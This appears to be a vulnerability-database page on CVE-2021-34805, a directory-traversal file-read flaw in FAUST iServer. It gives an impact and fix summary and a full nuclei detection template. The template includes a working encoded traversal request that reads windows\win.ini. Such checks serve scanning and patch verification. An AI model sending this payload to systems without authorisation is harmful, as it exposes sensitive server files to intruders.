HexBrain

Browse / CVEs / CVE-2021-34805

CVE-2021-34805· land-software / faust iserver· CWE-22

FAUST iServer 9.0.018.018.4 - Local File Inclusion

highseverity
7.5CVSS score
24.6%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

FAUST iServer before 9.0.019.019.7 is susceptible to local file inclusion because for each URL request it accesses the corresponding .fau file on the operating system without preventing %2e%2e%5c directory traversal.

Impact

Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server.

Fix

Apply the latest security patch or update to a non-vulnerable version of FAUST iServer.

How to confirm it

Send: GET {{BaseURL}}/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini
Positive when: contains "bit app support" and "fonts" and "extensions" AND status 200

Run it with nuclei: nuclei -id CVE-2021-34805 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-34805

info:
  name: FAUST iServer 9.0.018.018.4 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: FAUST iServer before 9.0.019.019.7 is susceptible to local file inclusion because for each URL request it accesses the corresponding .fau file on the operating system without preventing %2e%2e%5c directory traversal.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server.
  remediation: |
    Apply the latest security patch or update to a non-vulnerable version of FAUST iServer.
  reference:
    - https://cxsecurity.com/issue/WLB-2022010120
    - http://packetstormsecurity.com/files/165701/FAUST-iServer-9.0.018.018.4-Local-File-Inclusion.html
    - http://www.land-software.de/lfs.fau?prj=iweb&dn=faust+iserver
    - https://nvd.nist.gov/vuln/detail/CVE-2021-34805
    - https://github.com/20142995/Goby
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-34805
    cwe-id: CWE-22
    epss-score: 0.24648
    epss-percentile: 0.97904
    cpe: cpe:2.3:a:land-software:faust_iserver:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: land-software
    product: faust_iserver
  tags: cve2021,cve,lfi,packetstorm,faust,iserver,land-software,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from